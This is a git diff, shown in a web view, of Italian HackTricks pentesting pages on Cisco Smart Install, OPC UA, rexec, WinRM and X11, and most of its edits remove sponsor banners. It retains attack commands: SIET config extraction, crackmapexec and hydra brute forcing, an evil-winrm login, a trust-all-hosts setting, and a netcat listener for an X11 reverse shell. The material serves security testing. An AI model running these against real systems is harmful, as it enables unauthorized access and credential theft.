**Cisco Smart Install** è un sistema progettato da Cisco per automatizzare la configurazione iniziale e il caricamento di un'immagine del sistema operativo per nuovo hardware Cisco. **Per impostazione predefinita, Cisco Smart Install è attivo sull'hardware Cisco e utilizza il protocollo di trasporto TCP, con numero di porta 4786.**
**Porta predefinita:** 4786
```
@ -29,7 +26,7 @@ PORT STATE SERVICE
**Il dispositivo target sarà uno switch Cisco Catalyst 2960 "live". Le immagini virtuali non hanno Cisco Smart Install, quindi puoi praticare solo sull'hardware reale.**
L'indirizzo dello switch target è **10.10.100.10 e CSI è attivo.** Carica SIET e inizia l'attacco. **L'argomento -g** significa estrazione della configurazione dal dispositivo, **l'argomento -i** ti consente di impostare l'indirizzo IP del target vulnerabile.
L'indirizzo dello switch target è **10.10.100.10 e CSI è attivo.** Carica SIET e inizia l'attacco. **L'argomento -g** significa estrazione della configurazione dal dispositivo, **l'argomento -i** consente di impostare l'indirizzo IP del target vulnerabile.
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
@ -39,8 +36,5 @@ La configurazione dello switch **10.10.100.10** sarà nella cartella **tftp/**
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,19 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Informazioni di base
**OPC UA**, che sta per **Open Platform Communications Unified Access**, è un protocollo open-source cruciale utilizzato in vari settori come Manifattura, Energia, Aerospaziale e Difesa per lo scambio di dati e il controllo delle attrezzature. Consente in modo unico la comunicazione tra le attrezzature di diversi fornitori, in particolare con i PLC.
La sua configurazione consente misure di sicurezza robuste, ma spesso, per compatibilità con dispositivi più vecchi, queste vengono ridotte, esponendo i sistemi a rischi. Inoltre, trovare i servizi OPC UA può essere complicato poiché gli scanner di rete potrebbero non rilevarli se si trovano su porte non standard.
La sua configurazione consente misure di sicurezza robuste, ma spesso, per la compatibilità con dispositivi più vecchi, queste vengono ridotte, esponendo i sistemi a rischi. Inoltre, trovare i servizi OPC UA può essere complicato poiché gli scanner di rete potrebbero non rilevarli se si trovano su porte non standard.
**Porta predefinita:** 4840
```text
@ -29,7 +21,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Sfruttare le vulnerabilità
Se vengono trovate vulnerabilità di bypass dell'autenticazione, puoi configurare un [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) di conseguenza e vedere a cosa puoi accedere. Questo può consentire di fare qualsiasi cosa, dalla semplice lettura dei valori di processo all'effettivo funzionamento di attrezzature industriali pesanti.
Se vengono trovate vulnerabilità di bypass dell'autenticazione, puoi configurare un [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) di conseguenza e vedere a cosa puoi accedere. Questo può consentire di tutto, dalla semplice lettura dei valori di processo all'effettivo funzionamento di attrezzature industriali pesanti.
Per avere un'idea del dispositivo a cui hai accesso, leggi i valori del nodo "ServerStatus" nello spazio degli indirizzi e cerca un manuale d'uso su Google.
@ -41,12 +33,5 @@ Per avere un'idea del dispositivo a cui hai accesso, leggi i valori del nodo "Se
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,31 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Informazioni di base
## Informazioni di Base
È un servizio che **ti consente di eseguire un comando all'interno di un host** se conosci **credenziali** valide (nome utente e password).
**Porta predefinita:** 512
**Porta Predefinita:** 512
```
PORT STATE SERVICE
512/tcp open exec
```
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Hacking Insights**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
**Real-Time Hack News**\
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
**Latest Announcements**\
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) è evidenziato come un **protocollo di Microsoft** che consente la **gestione remota dei sistemi Windows** tramite HTTP(S), sfruttando SOAP nel processo. È fondamentalmente alimentato da WMI, presentandosi come un'interfaccia basata su HTTP per le operazioni WMI.
La presenza di WinRM su una macchina consente un'amministrazione remota semplice tramite PowerShell, simile a come funziona SSH per altri sistemi operativi. Per determinare se WinRM è operativo, è consigliato controllare l'apertura di porte specifiche:
La presenza di WinRM su una macchina consente un'amministrazione remota semplice tramite PowerShell, simile a come funziona SSH per altri sistemi operativi. Per determinare se WinRM è operativo, si consiglia di controllare l'apertura di porte specifiche:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -30,7 +15,7 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen
### **Iniziare una sessione WinRM**
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, possono essere eseguiti i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -67,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
Puoi anche **eseguire un comando della tua console PS attuale tramite** _**Invoke-Command**_. Supponiamo che tu abbia localmente una funzione chiamata _**enumeration**_ e desideri **eseguirla su un computer remoto**, puoi fare:
Puoi anche **eseguire un comando della tua console PS attuale tramite** _**Invoke-Command**_. Supponiamo che tu abbia localmente una funzione chiamata _**enumeration**_ e che tu voglia **eseguirla su un computer remoto**, puoi fare:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -137,26 +122,11 @@ Il tentativo sul client (info da [qui](https://serverfault.com/questions/657918/
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Connessione WinRM in Linux
Unisciti al [**server Discord di HackenProof**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
### Forza Bruta
**Approfondimenti sul hacking**\
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
**Ultimi annunci**\
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## Connessione WinRM in linux
### Brute Force
Fai attenzione, il brute-forcing di winrm potrebbe bloccare gli utenti.
Fai attenzione, forzare winrm potrebbe bloccare gli utenti.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -172,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
Leggi **documentazione** su GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
@ -291,19 +261,6 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug!
**Approfondimenti sul hacking**\
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
**Ultimi annunci**\
Rimani informato sulle nuove ricompense per bug in arrivo e aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Informazioni di base
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**X Window System** (X) è un sistema di finestre versatile prevalente nei sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)**, con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.
**Hacking Insights**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
**Real-Time Hack News**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
**Latest Announcements**\
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## Basic Information
**X Window System** (X) è un sistema di finestre versatile prevalente sui sistemi operativi basati su UNIX. Fornisce un framework per la creazione di **interfacce utente grafiche (GUI)**, con singoli programmi che gestiscono il design dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.
**Default port:** 6000
**Porta predefinita:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
@ -35,7 +20,7 @@ msf> use auxiliary/scanner/x11/open_x11
```
#### Enumerazione Locale
Il file **`.Xauthority`** nella cartella home degli utenti è **utilizzato** da **X11 per l'autorizzazione**. Da [**qui**](https://stackoverflow.com/a/37367518):
Il file **`.Xauthority`** nella cartella home dell'utente è **utilizzato** da **X11 per l'autorizzazione**. Da [**qui**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
@ -133,7 +118,7 @@ Poi, avvia un **listener Netcat** nel tuo sistema locale sulla porta 5555.
```bash
nc -lvp 5555
```
Quindi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e fai clic su **R-shell** per ottenere una shell
Poi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e clicca su **R-shell** per ottenere una shell
## Riferimenti
@ -145,19 +130,4 @@ Quindi, inserisci il tuo indirizzo IP e la porta nell'opzione **R-Shell** e fai
- `port:6000 x11`
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Approfondimenti sul hacking**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
**Ultimi annunci**\
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More